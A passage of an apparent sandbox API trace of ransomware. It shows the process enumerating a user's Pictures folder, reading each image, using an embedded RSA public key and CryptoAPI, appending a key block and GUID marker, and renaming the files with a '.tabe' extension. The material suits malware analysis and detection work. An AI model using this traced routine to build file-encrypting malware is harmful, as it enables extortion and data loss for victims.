lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0126.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0126.424] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.425] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.425] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.425] PathFindFileNameW (pszPath="") returned="" [0126.425] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8fe8900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8fe8900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0126.425] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd8fe8900, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd8fe8900, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0126.425] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb46bf00, ftCreationTime.dwHighDateTime=0x1d5e314, ftLastAccessTime.dwLowDateTime=0x3bad0660, ftLastAccessTime.dwHighDateTime=0x1d5dffe, ftLastWriteTime.dwLowDateTime=0x3bad0660, ftLastWriteTime.dwHighDateTime=0x1d5dffe, nFileSizeHigh=0x0, nFileSizeLow=0x46c5, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2-xyNT8e WM7SpMp.bmp", cAlternateFileName="2-XYNT~1.BMP")) returned 1 [0126.425] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2-xyNT8e WM7SpMp.bmp") returned=".bmp" [0126.425] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2-xyNT8e WM7SpMp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2-xynt8e wm7spmp.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.426] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=18117) returned 1 [0126.426] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.427] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x469f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.427] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.428] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x46c5, lpOverlapped=0x0) returned 1 [0126.429] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.429] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.429] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.429] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.430] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.430] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.430] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.430] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.430] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.430] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.430] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.430] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.430] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.430] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.430] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x46c5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.430] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.430] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.430] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.431] CloseHandle (hObject=0x618) returned 1 [0126.431] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2-xyNT8e WM7SpMp.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2-xynt8e wm7spmp.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2-xyNT8e WM7SpMp.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2-xynt8e wm7spmp.bmp.tabe")) returned 1 [0126.432] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b664040, ftCreationTime.dwHighDateTime=0x1d5e112, ftLastAccessTime.dwLowDateTime=0x143b8e70, ftLastAccessTime.dwHighDateTime=0x1d5dd2a, ftLastWriteTime.dwLowDateTime=0x143b8e70, ftLastWriteTime.dwHighDateTime=0x1d5dd2a, nFileSizeHigh=0x0, nFileSizeLow=0x14930, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="2VdVROGOaJhbJy.gif", cAlternateFileName="2VDVRO~1.GIF")) returned 1 [0126.433] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2VdVROGOaJhbJy.gif") returned=".gif" [0126.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2VdVROGOaJhbJy.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2vdvrogoajhbjy.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.433] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=84272) returned 1 [0126.433] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.434] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1490a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.434] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.436] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x14930, lpOverlapped=0x0) returned 1 [0126.437] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.437] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.437] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.437] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.438] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.438] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.438] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.438] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.438] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.438] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.438] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.438] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.438] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.438] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.439] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x14930, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.439] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.439] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.439] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.439] CloseHandle (hObject=0x618) returned 1 [0126.440] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2VdVROGOaJhbJy.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2vdvrogoajhbjy.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\2VdVROGOaJhbJy.gif.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\2vdvrogoajhbjy.gif.tabe")) returned 1 [0126.441] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad3afd60, ftCreationTime.dwHighDateTime=0x1d5e0e3, ftLastAccessTime.dwLowDateTime=0x34b9b8f0, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x34b9b8f0, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0xf174, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="3n qVt- wlj -Go4 V.bmp", cAlternateFileName="3NQVT-~1.BMP")) returned 1 [0126.441] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3n qVt- wlj -Go4 V.bmp") returned=".bmp" [0126.441] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3n qVt- wlj -Go4 V.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3n qvt- wlj -go4 v.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.442] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=61812) returned 1 [0126.442] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.442] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf14e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.443] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.444] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0xf174, lpOverlapped=0x0) returned 1 [0126.445] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.445] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.445] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0126.445] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866bf8) returned 1 [0126.446] CryptCreateHash (in: hProv=0x866bf8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0126.446] CryptHashData (hHash=0x3463888, pbData=0x3ae1ff0, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0126.446] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0126.446] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0126.446] CryptDestroyHash (hHash=0x3463888) returned 1 [0126.446] CryptReleaseContext (hProv=0x866bf8, dwFlags=0x0) returned 1 [0126.446] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0126.446] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0126.446] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0126.446] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0126.447] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0xf174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.447] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0126.447] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0126.447] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0126.447] CloseHandle (hObject=0x618) returned 1 [0126.448] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3n qVt- wlj -Go4 V.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3n qvt- wlj -go4 v.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\3n qVt- wlj -Go4 V.bmp.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\3n qvt- wlj -go4 v.bmp.tabe")) returned 1 [0126.449] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720958b0, ftCreationTime.dwHighDateTime=0x1d5db41, ftLastAccessTime.dwLowDateTime=0x265ba9e0, ftLastAccessTime.dwHighDateTime=0x1d5e555, ftLastWriteTime.dwLowDateTime=0x265ba9e0, ftLastWriteTime.dwHighDateTime=0x1d5e555, nFileSizeHigh=0x0, nFileSizeLow=0x4cd9, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="4EFum_ZEFyEAYh7kD.png", cAlternateFileName="4EFUM_~1.PNG")) returned 1 [0126.449] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4EFum_ZEFyEAYh7kD.png") returned=".png" [0126.449] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\4EFum_ZEFyEAYh7kD.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\4efum_zefyeayh7kd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0126.450] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=19673) returned 1 [0126.450] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0126.451] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x4cb3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.451] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0126.452] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x4cd9, lpOverlapped=0x0) returned 1 [0126.453] lstrlenA (lpString="-----BEGIN PUBLIC 